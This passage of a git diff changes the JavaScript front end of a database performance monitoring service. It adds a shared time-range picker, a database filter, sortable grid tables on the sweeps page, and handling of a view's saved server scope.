   if (remembered) {
     fillServerHead(title, dot, badgeSlot, engineSlot, whySlot, remembered.card, remembered.reason);
-    painted = paintTabs(tabsSlot, server, tabId, remembered.card);
+    fillDatabaseFilter(dbSlot, server, remembered.card);
+    painted = paintTabsKeeping(keep, tabsSlot, server, tabId, remembered.card);
   }
 
   /* /api/fleet is fetched again only to place a server this page has no card for yet, or on the poll's real
@@ -154,31 +312,96 @@ export function renderServer(main, server, tabId, opts) {
 
       if (card) lastCard.set(server, { card, reason });
       fillServerHead(title, dot, badgeSlot, engineSlot, whySlot, card, reason);
+      fillDatabaseFilter(dbSlot, server, card);
 
       /* Repaint only when there is nothing painted yet, or when the fresh card chooses a DIFFERENT registry —
          the two registries are module constants, so that comparison is exact. A null card never repaints over a
          painted page: a fleet read that failed says nothing about which engine this server runs. */
       if (!painted || (card && serverTabsFor(card) !== painted)) {
-        painted = paintTabs(tabsSlot, server, tabId, card);
+        painted = paintTabsKeeping(keep && !painted, tabsSlot, server, tabId, card);
       }
     });
   }
 }
 
+/* paintTabs, leaving the panels the previous render drew in place when `keep`. The flag is raised only for this one
+   paint and always lowered after it, so a render that never paints (a failed fleet read) cannot leave it set for the
+   next Apply or preset redraw to swallow. */
+function paintTabsKeeping(keep, tabsSlot, server, tabId, card) {
+  keepGrid = keep;
+  try {
+    return paintTabs(tabsSlot, server, tabId, card);
+  } finally {
+    keepGrid = false;
+  }
+}
+
 /** Put the tab bar, its note and its panels on the page for a card, and return the registry that card chose. */
 function paintTabs(tabsSlot, server, tabId, card) {
   const tabs = serverTabsFor(card);
   const tab = findServerTab(tabId, tabs);
   current = { server, tab };
-  mount(tabsSlot, [subtabBar(server, tab, tabs), tabNote(tab)]);
+  gridKey = server + "|" + (tabId || "");
+  tabNoteSlot = el("div", { class: "tab-note-slot" }, [tabNote(tab, tabReach())]);
+  mount(tabsSlot, [subtabBar(server, tab, tabs), tabNoteSlot]);
   redrawPanels();
   return tabs;
 }
 
+/* The two slots the tab's reach decides: its note (which names how far back the page shows) and the carried-over-range notice. */
+let tabNoteSlot = null;
+let reachSlot = null;
+
+/** Show the reach the catalog gave the tab on screen: the picker's longest choice, the tab note's number and the carried-over-range
+ *  notice. Run on every redraw and again when the catalog arrives. */
+function applyTabReach() {
+  const tab = current.tab;
+  if (!tab || !current.server) return;
+  const reach = tabReach();
+  if (rangePicker && rangePicker.reachHours() !== reach) {
+    rangePicker.setReach(reach);
+    offerReach(rangePicker);
+  }
+  if (tabNoteSlot) mount(tabNoteSlot, [tabNote(tab, reach)]);
+  if (reachSlot) {
+    const note = reachNoteText();
+    mount(reachSlot, note ? [noticeStrip(note)] : []);
+  }
+}
+
 /** (Re)fill the panel grid for the current server + tab at the current range. No refetch of anything else. */
 function redrawPanels() {
   if (!gridNode || !current.tab || !current.server) return;
 
+  /* Before the keepGrid return: a poll that keeps the panels still built a new picker, which needs its reach and its note. */
+  applyTabReach();
+  applySampleNote();
+
+  if (keepGrid) {
+    keepGrid = false;
+    return;
+  }
+
+  /* A range longer than the common reach cannot be read until the tab's reach is known (it may take the whole range, or only the
+     last 7 days of it), so the panels wait for the catalog rather than read twice. A held range within the common reach reads now. */
+  if (!catalogsRead.has(current.server) && !catalogGaveUp.has(current.server) && heldSpanMs() > DEFAULT_REACH_HOURS * HOUR_MS) {
+    const server = current.server;
+    if (panelAbort) panelAbort.abort();
+    mount(gridNode, [loadingStrip()]);
+    /* A range change or the 60 second refresh during the wait lands here again: it keeps the loading strip and adds no second wait, or
+       two redraws would run when the catalog arrives and send the panels' reads twice (#5562 review r2 L2). The one redraw reads the
+       tab and range held at that moment, so a change made during the wait is read once. */
+    if (catalogWaits.has(server)) return;
+    catalogWaits.add(server);
+    serverCatalog(server).catch(() => null).then((catalog) => {
+      catalogWaits.delete(server);
+      if (catalog) catalogsRead.set(server, catalog);
+      else catalogGaveUp.add(server);
+      if (server === current.server) redrawPanels();
+    });
+    return;
+  }
+
   /* Every redraw replaces the whole panel grid — a fresh render (poll tick or sub-tab click), or the range
      picker choosing a new window for the SAME tab — so it starts a whole new batch of panel reads and the
      PREVIOUS batch's, if still pending, are now for nobody. #4191: aborting them here is what stopped the
@@ -189,9 +412,33 @@ function redrawPanels() {
   panelAbort = new AbortController();
   setPanelSignal(panelAbort.signal);
 
+  applyDatabaseFilter();
   mount(gridNode, current.tab.build(current.server, rangeContext()));
 }
 
+/* The page's database filter (#5245), set before every panel redraw the way the custom range is: the chosen names for the card's
+   id, or none for a PostgreSQL server (no filter there), a server whose card is not known yet, and a server with no choice. The
+   card's id keys the choice, not the route's name, so a rename keeps it. */
+function applyDatabaseFilter() {
+  const card = current.server ? (lastCard.get(current.server) || {}).card : null;
+  const databases = card && !isPostgresTarget(card) && card.server_id ? getDatabaseFilter(card.server_id) : [];
+  setActiveDatabaseFilter({ server: current.server, databases });
+}
+
+/* The database filter's button in the page head: none for a PostgreSQL card; for no card (a fleet read that failed on the first
+   paint) a disabled "Databases: unavailable" and no filter. A poll whose fleet read failed keeps the control it has. */
+function fillDatabaseFilter(slot, server, card) {
+  if (isPostgresTarget(card)) {
+    mount(slot, []);
+    return;
+  }
+  if (!card || !card.server_id) {
+    if (!lastCard.has(server)) mount(slot, databaseFilterUnavailable());
+    return;
+  }
+  mount(slot, databaseFilterControl({ serverId: card.server_id, server, onApply: redrawPanels }).node);
+}
+
 /* The sub-tab bar — the web port of ViewerServerTab.xaml's TabControl. Real <a href> links, not click handlers,
    so a tab can be middle-clicked, bookmarked and shared; the hash router does the rest. */
 function subtabBar(server, active, tabs) {
@@ -210,19 +457,58 @@ function subtabBar(server, active, tabs) {
   );
 }
 
-/** The time-range preset picker. Changing it redraws the panels in place, exactly like the fleet page's sort. */
+/** The time-range picker (time-range-picker.js): the short presets, the calendar periods, a typed range and a date pick, in the
+ *  browser's zone, the zone every time on this page uses. Changing it redraws the panels in place, exactly like the fleet page's
+ *  sort. A range longer than the tab's reads take (tabReach) is greyed out with the reason. */
 function rangeControl() {
-  const sel = el(
-    "select",
-    { class: "range-select-inline", "aria-label": "Time range" },
-    RANGE_OPTIONS.map((o) => el("option", { value: String(o.hours), text: o.label }))
-  );
-  sel.value = String(pageHours);
-  sel.addEventListener("change", () => {
-    pageHours = Number(sel.value) || 24;
-    redrawPanels();
+  const server = current.server;
+  const saved = customRanges.get(server);
+  const picker = timeRangePicker({
+    spec: saved ? saved.spec : relativeSpec(pageHours * HOUR_MS),
+    reachHours: tabReach(null, server),
+    reachMessage: (hours) => "This tab reads up to " + reachText(hours) + ".",
+    label: "Time range",
+    onChange: (spec) => {
+      if (holdSpec(server, spec, Date.now()) == null) redrawPanels();
+    },
   });
-  return el("label", { class: "range-control" }, [el("span", { text: "Range" }), sel]);
+  rangePicker = picker;
+  return el("div", { class: "range-control" }, [el("span", { text: "Range" }), picker.node]);
+}
+
+/* The picker on screen, so the tab on screen can tell it how often its data is collected (#5562 R3). */
+let rangePicker = null;
+
+/** The "collected every N minutes" note for the tab on screen (#5562 R3). Each tab declares its main collector (`collector` in
+ *  server-tabs.js); the server's catalog gives that collector's ACTUAL interval (a per-server schedule row over the fleet's over the
+ *  shipped default) as `collector_interval_minutes`. The picker shows the note when the chosen span holds fewer than 3 samples at that
+ *  interval, and never widens the range. A tab with no single main collector, or a catalog that cannot be read, shows no note. */
+function applySampleNote() {
+  const picker = rangePicker;
+  const tab = current.tab;
+  const server = current.server;
+  if (!picker) return;
+  if (!tab || !server) {
+    picker.setSampleInterval(null);
+    return;
+  }
+  /* The same catalog answer gives the tab its reach (M4) and its collector's interval (R3), so it is read for every tab. */
+  serverCatalog(server).then((catalog) => {
+    if (catalog) catalogsRead.set(server, catalog);
+    if (picker !== rangePicker || tab !== current.tab || server !== current.server) return;
+    applyTabReach();
+    picker.setSampleInterval(tab.collector ? collectorIntervalFromCatalog(catalog, tab.collector) : null);
+  }).catch(() => {
+    /* A catalog that cannot be read shows no note (#5562 review r1 L2) and leaves the common reach; the next tab or range change asks again. */
+    if (picker === rangePicker) picker.setSampleInterval(null);
+  });
+}
+
+/** The length of the range the reader holds for the server on screen, in milliseconds (the preset, or the custom range's span). */
+function heldSpanMs(nowMs = Date.now()) {
+  const custom = current.server ? customRanges.get(current.server) : null;
+  const resolved = custom ? resolveSpec(custom.spec, nowMs, browserZone()) : null;
+  return resolved && resolved.ok ? resolved.range.spanMs : pageHours * HOUR_MS;
 }
 
 /* This server's fleet card, plus the reason sentence the fleet's worst-first ranking computed for it. ONE
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/sweeps.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/sweeps.js
index 2fa82c2ed2..ec7429ac9b 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/sweeps.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/sweeps.js
@@ -25,6 +25,9 @@
 
 import { el, mount, apiGet, readTool, loadingStrip, errorStrip, emptyStrip, localTime, relTime, rollupTextId,
          fmtInt, fmtMb, fmtPct, fmtBool, fmtText, bandClass, disclosure } from "../util.js";
+import { gridTable } from "../panels.js";
+import { pageRangePicker, windowOfSpec } from "../page-range.js";
+import { relativeSpec } from "../time-range.js";
 
 /* The watch-item state vocabulary — the label each FleetSweepWatchStateMachine state owes an operator. The
    KEYS are the machine's own constants; Darling.Tests.FleetSweepWebFeedTests parses THIS OBJECT and compares
@@ -37,20 +40,15 @@ export const SWEEP_WATCH_STATE_LABELS = {
   closed: "Closed",
 };
 
-/* The configurable viewing spans. 1 hour is the DEFAULT by the owner's ruling ("configurable spans of time
-   though, default hourly") — at the shipped hourly cadence that lands the page on the newest sweep, and the
-   wider spans are the way into history. */
-const SPANS = [
-  { hours: 1, label: "Last hour" },
-  { hours: 6, label: "6 hours" },
-  { hours: 24, label: "24 hours" },
-  { hours: 72, label: "3 days" },
-  { hours: 168, label: "7 days" },
-];
+/* The viewing span is the shared time range picker's (#5562). 1 hour is the DEFAULT by the owner's ruling ("configurable
+   spans of time though, default hourly") - at the shipped hourly cadence that lands the page on the newest sweep, and the
+   wider spans are the way into history. The timeline read takes whole hours back from an end (hours, as_of) with no row
+   cap, so a shorter or finished range is fetched as the whole hours and trimmed to the exact pair in timelineSweeps. */
+const DEFAULT_SPAN_HOURS = 1;
 
 /* Page state persists across the 60s refresh (the fleet page's module-level rule): the chosen span, the
    selected sweep (null = latest), and whether the watch table is showing closed history. */
-let sweepSpanHours = 1;
+let sweepSpec = relativeSpec(DEFAULT_SPAN_HOURS * 3600000);
 let selectedSweepId = null;
 let watchStateShown = null; // null = the open + carried default view; "closed" etc. on request
 
@@ -103,15 +101,28 @@ async function renderCadence(meta) {
 }
 
 function spanControl() {
-  const sel = el("select", { class: "sort-select", "aria-label": "Timeline span" },
-    SPANS.map((s) => el("option", { value: String(s.hours), text: s.label })));
-  sel.value = String(sweepSpanHours);
-  sel.addEventListener("change", () => {
-    sweepSpanHours = Number(sel.value);
-    const mainNode = document.getElementById("main");
-    if (mainNode) renderSweeps(mainNode);
+  const { picker } = pageRangePicker({
+    read: "get_sweep_reports",
+    spec: sweepSpec,
+    label: "Timeline span",
+    /* The sweep feed is the monitoring tool's own, fed by no collector, so there is no "collected every N minutes" note. */
+    useCatalogInterval: false,
+    onChange: (spec) => {
+      sweepSpec = spec;
+      const mainNode = document.getElementById("main");
+      if (mainNode) renderSweeps(mainNode);
+    },
+  });
+  return el("div", { class: "sort-control" }, [el("span", { text: "Span" }), picker.node]);
+}
+
+/* The sweeps the held range covers, from the whole-hours fetch: those swept at or before its end and at or after its start. */
+export function timelineSweeps(sweeps, w) {
+  if (!w) return sweeps;
+  return sweeps.filter((s) => {
+    const t = Date.parse(s.swept_at);
+    return !Number.isFinite(t) || (t >= w.startMs && t <= w.endMs);
   });
-  return el("label", { class: "sort-control" }, [el("span", { text: "Span" }), sel]);
 }
 
 /* ─────────────────────────── the sweep document ─────────────────────────── */
@@ -215,14 +226,12 @@ function sweepDocument(d) {
     nodes.push(emptyStrip("No band changes, arrivals or departures since the previous sweep."));
   } else {
     if (transitions.length) {
-      nodes.push(table(
-        ["Server", "From", "To", "Reason"],
-        transitions.map((t) => [
-          cellText(t.server),
-          bandCell(t.from),
-          bandCell(t.to),
-          cellText(t.reason || "—", "wrap"),
-        ])));
+      nodes.push(sweepGrid("transitions", [
+        { key: "server", label: "Server" },
+        bandColumn("from", "From"),
+        bandColumn("to", "To"),
+        { key: "reason", label: "Reason", wrap: true, display: (t) => t.reason || "—" },
+      ], transitions));
     }
     for (const [label, list] of [["New servers", changes.new_servers], ["Departed servers", changes.departed_servers]]) {
       const names = asArray(list);
@@ -237,13 +246,11 @@ function sweepDocument(d) {
   if (whp) {
     nodes.push(el("h4", { class: "sweep-section", text: "Would have paged (master switch off)" }));
     nodes.push(whp.length
-      ? table(
-          ["Server", "Family", "Evidence"],
-          whp.map((w) => [
-            cellText(w.server || "server " + w.server_id),
-            cellText(w.family),
-            evidenceCell(w.evidence),
-          ]))
+      ? sweepGrid("would-have-paged", [
+          { key: "server", label: "Server", display: serverText, sortValue: serverText, copyValue: serverText },
+          { key: "family", label: "Family" },
+          evidenceColumn(),
+        ], whp)
       : emptyStrip("Muted, and nothing crossed a critical trigger in this span — the mute cost nothing this sweep."));
   }
 
@@ -251,14 +258,12 @@ function sweepDocument(d) {
   const verdicts = Array.isArray(d.verdicts) ? d.verdicts : [];
   nodes.push(el("h4", { class: "sweep-section", text: "Per-server verdicts" }));
   nodes.push(verdicts.length
-    ? table(
-        ["Server", "Previous", "Band", "Reason"],
-        verdicts.map((v) => [
-          cellText(v.server),
-          bandCell(v.previous_band || "—"),
-          bandCell(v.band, v.band_changed),
-          cellText(v.reason || "—", "wrap"),
-        ]))
+    ? sweepGrid("verdicts", [
+        { key: "server", label: "Server" },
+        bandColumn("previous_band", "Previous", (v) => v.previous_band || "—"),
+        bandColumn("band", "Band", (v) => v.band, (v) => v.band_changed),
+        { key: "reason", label: "Reason", wrap: true, display: (v) => v.reason || "—" },
+      ], verdicts)
     : emptyStrip("This sweep carries no per-server verdicts."));
 
   /* The instrument-liveness block, rendered honestly: the verdict, its counters, and every note the
@@ -301,10 +306,11 @@ function livenessBlock(d, lv) {
 
 async function renderTimeline(box, detailBox) {
   mount(box, loadingStrip("Loading timeline…"));
-  const res = await apiGet("/api/sweeps?hours=" + sweepSpanHours);
+  const w = windowOfSpec(sweepSpec) || windowOfSpec(relativeSpec(DEFAULT_SPAN_HOURS * 3600000));
+  const res = await apiGet("/api/sweeps?hours=" + w.hours + (w.asOf ? "&as_of=" + encodeURIComponent(w.asOf) : ""));
   if (res.kind === "error") return mount(box, errorStrip(res.message));
 
-  const sweeps = (res.data && res.data.sweeps) || [];
+  const sweeps = timelineSweeps((res.data && res.data.sweeps) || [], w);
   if (!sweeps.length) {
     mount(box, emptyStrip("No sweeps in this span. Widen the span, or check that fleet_sweep.enabled is on — a gap in this timeline is a missed sweep, with its cause on the service log."));
     return;
@@ -377,24 +383,26 @@ async function renderWatchItems(box) {
     : "Open right now (open + carried)";
 
   const body = items.length
-    ? table(
-        ["Server", "Item", "State", "Position", "First seen", "Last seen", "Condition / evidence"],
-        items.map((w) => [
-          /* The display name the feed joins from the retained verdict history (#3482); the bare id is
-             the degrade for a name the store no longer holds, and the fleet-scope sentinel renders as
-             the fleet — it has no server name, and "server 0" would be a fabrication. */
-          cellText(w.fleet_scope ? "Fleet" : (w.server || "server " + w.server_id)),
-          cellText(w.item, "mono"),
-          el("td", { class: watchStateSev(w.state), text: SWEEP_WATCH_STATE_LABELS[w.state] || w.state }),
-          cellText(watchPosition(w, d)),
-          cellText(relTime(w.first_seen_at)),
-          cellText(relTime(w.last_seen_at)),
-          el("td", { class: "wrap" }, [
-            w.evidence != null
-              ? disclosure(w.condition, el("pre", { class: "sweep-evidence", text: pretty(w.evidence) }))
-              : el("span", { text: w.condition }),
-          ]),
-        ]))
+    ? sweepGrid("watch-items|" + (watchStateShown || "open"), [
+        /* The display name the feed joins from the retained verdict history (#3482); the bare id is
+           the degrade for a name the store no longer holds, and the fleet-scope sentinel renders as
+           the fleet — it has no server name, and "server 0" would be a fabrication. */
+        { key: "server", label: "Server", display: watchServerText, sortValue: watchServerText, copyValue: watchServerText },
+        { key: "item", label: "Item", mono: true },
+        { key: "state", label: "State", display: (w) => SWEEP_WATCH_STATE_LABELS[w.state] || w.state, cellClass: (w) => watchStateSev(w.state) },
+        { key: "position", label: "Position", display: (w) => watchPosition(w, d), copyValue: (w) => watchPosition(w, d), sortValue: (w) => watchPositionRank(w) },
+        { key: "first_seen_at", label: "First seen", format: "reltime" },
+        { key: "last_seen_at", label: "Last seen", format: "reltime" },
+        {
+          key: "condition",
+          label: "Condition / evidence",
+          wrap: true,
+          copyValue: (w) => w.condition + (w.evidence != null ? "\n" + pretty(w.evidence) : ""),
+          render: (w) => w.evidence != null
+            ? disclosure(w.condition, el("pre", { class: "sweep-evidence", text: pretty(w.evidence) }))
+            : el("span", { text: w.condition }),
+        },
+      ], items)
     : emptyStrip(watchStateShown
         ? "No " + (SWEEP_WATCH_STATE_LABELS[watchStateShown] || watchStateShown).toLowerCase() + " watch items."
         : "Nothing is open right now — no watch item is open or carried.");
@@ -413,6 +421,25 @@ function watchPosition(w, d) {
   return w.consecutive_hits + " consecutive hit" + (w.consecutive_hits === 1 ? "" : "s");
 }
 
+/* The server cell's text, also what the column sorts, filters and exports: the fallback label is not in the raw
+   `server` field, so the raw value would sort as null and export blank. */
+function serverText(w) {
+  return w.server || "server " + w.server_id;
+}
+
+function watchServerText(w) {
+  return w.fleet_scope ? "Fleet" : serverText(w);
+}
+
+/* A number to order the Position column by: the count the sentence is built on (hits, quiet sweeps) after the
+   state's own group, so pending < running hits < closing < closed. */
+function watchPositionRank(w) {
+  if (w.state === "pending") return 1000 + (Number(w.consecutive_hits) || 0);
+  if (w.state === "closed") return 4000;
+  if (w.consecutive_misses > 0) return 3000 + (Number(w.consecutive_misses) || 0);
+  return 2000 + (Number(w.consecutive_hits) || 0);
+}
+
 function watchStateSev(state) {
   if (state === "open") return "sev-Critical";
   if (state === "carried") return "sev-Warning";
@@ -470,15 +497,13 @@ function renderStoreHostPayload(box, p) {
   ]);
 
   const settingsBody = settings.length
-    ? table(
-        ["Setting", "Current", "Derived", "Source", "Verdict"],
-        settings.map((s) => [
-          cellText(s.name, "mono"),
-          cellText(s.current),
-          cellText(s.derived),
-          cellText(s.source),
-          el("td", { class: verdictSev(s.verdict), text: verdictLabel(s.verdict) }),
-        ]))
+    ? sweepGrid("store-host-settings", [
+        { key: "name", label: "Setting", mono: true },
+        { key: "current", label: "Current" },
+        { key: "derived", label: "Derived" },
+        { key: "source", label: "Source" },
+        { key: "verdict", label: "Verdict", display: (r) => verdictLabel(r.verdict), cellClass: (r) => verdictSev(r.verdict) },
+      ], settings)
     : emptyStrip("No sizing-relevant settings reported.");
 
   mount(box, [
@@ -519,6 +544,40 @@ function verdictSev(v) {
 
 /* ─────────────────────────── small shared builders ─────────────────────────── */
 
+/* The record tables on this page draw through the shared grid (panels.js gridTable), so each sorts by its column
+   headers, filters per column, and copies or exports its rows as CSV. The grid's state lives at module scope under
+   the route plus the id given here, so the poll's redraw keeps it. A cell with no value shows an em dash. The
+   Instrument and Host key/value cards below stay plain `table()`s: two columns of label and sentence are a
+   readout, not rows to sort or export. */
+function sweepGrid(id, columns, rows) {
+  return gridTable(rows, {
+    id: "sweeps|" + (selectedSweepId ?? "latest") + "|" + id,
+    title: id,
+    columns: columns.map((c) => (c.display || c.render || c.format ? c : { ...c, display: (r) => (r[c.key] == null || r[c.key] === "" ? "—" : String(r[c.key])) })),
+  });
+}
+
+/** A band badge column (with the "changed" tag); sorts, filters and copies as the band's text. */
+function bandColumn(key, label, band = (r) => r[key], changed = () => false) {
+  return {
+    key,
+    label,
+    sortValue: band,
+    copyValue: (r) => band(r) + (changed(r) ? " changed" : ""),
+    render: (r) => bandBadge(band(r), changed(r)),
+  };
+}
+
+function evidenceColumn() {
+  return {
+    key: "evidence",
+    label: "Evidence",
+    wrap: true,
+    copyValue: (w) => pretty(w.evidence),
+    render: (w) => disclosure(pretty(w.evidence), el("pre", { class: "sweep-evidence", text: pretty(w.evidence) })),
+  };
+}
+
 function table(headers, rows) {
   return el("div", { class: "table-wrap" }, [
     el("table", { class: "data" }, [
@@ -532,19 +591,13 @@ function cellText(text, cls) {
   return el("td", { class: cls || null, text: text == null ? "—" : String(text) });
 }
 
-function bandCell(band, changed) {
-  return el("td", {}, [
+function bandBadge(band, changed) {
+  return el("span", {}, [
     el("span", { class: "badge " + sweepBandClass(band), text: band }),
     changed ? el("span", { class: "sweep-changed", text: " changed" }) : null,
   ]);
 }
 
-function evidenceCell(evidence) {
-  return el("td", { class: "wrap" }, [
-    disclosure(pretty(evidence), el("pre", { class: "sweep-evidence", text: pretty(evidence) })),
-  ]);
-}
-
 function pretty(v) {
   if (v == null) return "—";
   if (typeof v === "string") return v;
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/views.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/views.js
index 25707fca0d..0e42a3f836 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/views.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/views.js
@@ -26,7 +26,9 @@
  */
 
 import { el, mount, apiGetFleet, loadingStrip, errorStrip, emptyStrip, noticeStrip, relTime, localTime, fmtNum } from "../util.js";
+import { rollingHoursPicker } from "../page-range.js";
 import { renderPanel, setPanelSignal, VIZ } from "../panels.js";
+import { orderServers } from "../server-order.js";
 import { renderComposedPanelCard } from "../compose.js";
 import { renderMarkdown } from "../markdown.js";
 import { NOTEBOOK_TEMPLATES, isNotebookDefinition } from "../notebook.js";
@@ -93,16 +95,6 @@ function viewRefreshControl(view, def, isNotebook, canEdit) {
   return control.root;
 }
 
-/** The time-range choices the rendered view's chrome offers (mirrors the composer's RANGE_OPTIONS). */
-const VIEW_RANGE_OPTIONS = [
-  { hours: 1, label: "Last hour" },
-  { hours: 6, label: "Last 6 hours" },
-  { hours: 24, label: "Last 24 hours" },
-  { hours: 24 * 7, label: "Last 7 days" },
-  { hours: 24 * 30, label: "Last 30 days" },
-  { hours: 24 * 90, label: "Last 90 days" },
-];
-
 /* ─────────────────────────── list page ─────────────────────────── */
 
 export async function renderViewList(main) {
@@ -306,10 +298,9 @@ async function createFromTemplate(template, server, status) {
 async function loadServerNames() {
   const res = await apiGetFleet();
   if (res.kind !== "data" || !res.data) return [];
-  return [...(res.data.cards || [])]
+  return orderServers(res.data.cards || [])
     .map((c) => ({ value: c.server_name || c.display_name, label: c.display_name || c.server_name }))
-    .filter((o) => o.value)
-    .sort((a, b) => a.label.localeCompare(b.label));
+    .filter((o) => o.value);
 }
 
 function viewCard(v) {
@@ -440,12 +431,98 @@ function importPanel() {
    view's declared default. */
 const viewScopeMemory = new Map();
 
-function seedState(id, defaultHours, variables) {
+/* The server scope a view is saved with (the morning walk, W4): its server-dimension variable's default, the same
+   variable the editor greys measures by. The control opened on "All servers (fleet)" whatever the view saved, and the
+   run body's explicit server "All" beat the variable on the service side, so a view saved for one server read the
+   whole fleet. Only a concrete name that is in the fleet counts; "All", blank, a "$other" reference, several
+   variables, or a name the fleet does not list keep the whole fleet. A comma or semicolon list is several servers. */
+function savedServerScope(variables, fleet) {
+  const serverVars = (variables || []).filter((v) => v && v.dimension === "server" && String(v.default || "").trim());
+  if (serverVars.length !== 1) return "All";
+  const raw = String(serverVars[0].default).trim();
+  if (raw.charAt(0) === "$" || raw.toLowerCase() === "all") return "All";
+  const names = [];
+  for (const part of raw.split(/[,;]/)) {
+    const want = part.trim();
+    const o = want ? (fleet || []).find((x) => x.value === want || x.label === want) : null;
+    if (o && !names.includes(o.value)) names.push(o.value);
+  }
+  return names.length ? names : "All";
+}
+
+/* The server a view's PANELS are set to (W4b of the release walk). A view can carry no server variable and instead filter
+   every composed panel to one server ({dimension:"server", op:"eq", value:"SQL2025"} on each). The service ANDs a panel's
+   filters with the scope, so such a view already read only that server while the picker said "All servers (fleet)", and
+   picking another server meant every panel filtered to the first one and drew nothing. A view counts only when EVERY composed
+   panel has exactly one server "eq" filter, all naming the same server (case ignored) and that server is in the fleet; a
+   mixed view, a panel with any server filter other than that one "eq" (an "in", a "neq", a second "eq"), or a name the fleet
+   does not list keeps the old behaviour. */
+function serverFilters(p) {
+  return (Array.isArray(p.filters) ? p.filters : []).filter((f) => f && f.dimension === "server");
+}
+
+function serverEqFilters(p) {
+  return (Array.isArray(p.filters) ? p.filters : []).filter(
+    (f) => f && f.dimension === "server" && f.op === "eq" && typeof f.value === "string" && f.value.trim()
+  );
+}
+
+function panelFilterServer(panels, fleet) {
+  const composed = (panels || []).filter((p) => p && typeof p === "object" && p.source != null);
+  if (!composed.length) return null;
+  let name = null;
+  for (const p of composed) {
+    const eq = serverEqFilters(p);
+    /* The one "eq" must be the panel's ONLY server filter: panelUnderScope drops just the eq, so a leftover "in" or "neq" would
+       still be ANDed with the picked server into an empty panel. */
+    if (eq.length !== 1 || serverFilters(p).length !== 1) return null;
+    const v = eq[0].value.trim().toLowerCase();
+    if (name !== null && name !== v) return null;
+    name = v;
+  }
+  const o = (fleet || []).find((x) => String(x.value).toLowerCase() === name || String(x.label).toLowerCase() === name);
+  return o ? { value: o.value, label: o.label } : null;
+}
+
+/* True while the scope is exactly the server the panels are set to, the one case their own filter and the scope agree. */
+function onPanelServer(state, panelServer) {
+  return !!panelServer && Array.isArray(state.server) && state.server.length === 1 && state.server[0] === panelServer.value;
+}
+
+/* A panel as it runs under the picked scope. Choosing a server other than the one the panels are set to (or "All servers")
+   REPLACES that setting for every panel: the panel's server filter is dropped so the scope decides, rather than the two
+   being ANDed into an empty panel. Any other panel, and any scope that still matches, runs as saved. */
+function panelUnderScope(p, state, panelServer) {
+  if (!panelServer || onPanelServer(state, panelServer) || !p || typeof p !== "object" || p.source == null) return p;
+  const kept = (Array.isArray(p.filters) ? p.filters : []).filter((f) => !serverEqFilters({ filters: [f] }).length);
+  return { ...p, filters: kept };
+}
+
+/* "Your pick" is said only when the reader picked the server: state.picked is set by the server picker and remembered with the
+   scope. A scope the view's own server variable chose is the view's setting, and the note says so. */
+function panelServerNote(state, panelServer) {
+  if (!panelServer) return "";
+  if (onPanelServer(state, panelServer)) {
+    return "This view sets its server: every panel is set to " + panelServer.label + ". Pick another server, or All servers, to replace that for every panel.";
+  }
+  if (state.picked) return "Showing your pick instead of " + panelServer.label + ", the server this view's panels are set to.";
+  /* The view's own server variable can be "All" (or blank): then the scope is every server, not a server it names. */
+  const allServers = state.server === "All" || state.server === "" || state.server == null || (Array.isArray(state.server) && state.server.length === 0);
+  return allServers
+    ? "Showing all servers, as this view's own setting says, instead of " + panelServer.label + ", the server this view's panels are set to."
+    : "Showing the server this view's own setting names instead of " + panelServer.label + ", the server this view's panels are set to.";
+}
+
+function seedState(id, defaultHours, variables, fleet, panelServer) {
   const cached = viewScopeMemory.get(String(id));
   if (cached) {
-    return { server: cached.server, hours: cached.hours, values: { ...cached.values } };
+    return { server: cached.server, hours: cached.hours, values: { ...cached.values }, picked: cached.picked === true };
   }
-  const state = { server: "All", hours: defaultHours, values: {} };
+  const state = { server: savedServerScope(variables, fleet), hours: defaultHours, values: {}, picked: false };
+  /* An explicit server variable decides first, "All" included: the panels' server seeds the scope only when the view has no
+     server variable at all. */
+  const hasServerVariable = (variables || []).some((v) => v && v.dimension === "server");
+  if (state.server === "All" && panelServer && !hasServerVariable) state.server = [panelServer.value];
   for (const v of variables) {
     if (v.dimension !== "server" && v.default) state.values[v.name] = v.default;
   }
@@ -453,7 +530,7 @@ function seedState(id, defaultHours, variables) {
 }
 
 function rememberScope(id, state) {
-  viewScopeMemory.set(String(id), { server: state.server, hours: state.hours, values: { ...state.values } });
+  viewScopeMemory.set(String(id), { server: state.server, hours: state.hours, values: { ...state.values }, picked: !!state.picked });
 }
 
 export async function renderView(main, id) {
@@ -515,7 +592,9 @@ export async function renderView(main, id) {
   const defaultHours = def.range && typeof def.range.hours === "number" ? def.range.hours : 24;
   const hasComposed = panels.some((p) => p && p.source != null);
 
-  const state = seedState(id, defaultHours, variables);
+  const panelServer = panelFilterServer(panels.filter((p) => p && p.source != null), fleet);
+  const state = seedState(id, defaultHours, variables, fleet, panelServer);
+  const scopeNote = panelServer && hasComposed ? el("div", { class: "meta view-scope-note", text: panelServerNote(state, panelServer) }) : null;
 
   function currentScope() {
     return {
@@ -528,14 +607,15 @@ export async function renderView(main, id) {
 
   const gridBox = el("div", { class: "panel-grid" });
   function renderGrid() {
-    mount(gridBox, panels.map((p) => panelOrError(p, readSet, sourceSet, currentScope())));
+    if (scopeNote) scopeNote.textContent = panelServerNote(state, panelServer);
+    mount(gridBox, panels.map((p, i) => panelOrError(panelUnderScope(p, state, panelServer), readSet, sourceSet, currentScope(), undefined, i)));
   }
 
   /* The chrome is only meaningful when a composed panel can re-scope; a pure v1 read view skips it. */
   const onChange = () => { rememberScope(id, state); renderGrid(); };
   const controls = hasComposed ? buildViewControls(fleet, variables, state, defaultHours, onChange) : null;
 
-  mount(main, [head, status, controls, gridBox]);
+  mount(main, [head, status, controls, scopeNote, gridBox]);
   renderGrid();
   /* Clear any stale AbortSignal left by the previous page (e.g. server.js's per-render panelAbort) so it
      cannot bleed into SUBSEQUENT view renders — the onChange scope re-render and any poll-triggered
@@ -632,6 +712,9 @@ export async function renderNotebookDoc(main, opts) {
      (compose.js buildRunBody). With no scope_server the scope names none, and each panel cell says so. Saved mode
      keeps its scope bar exactly as before. */
   let controls = null;
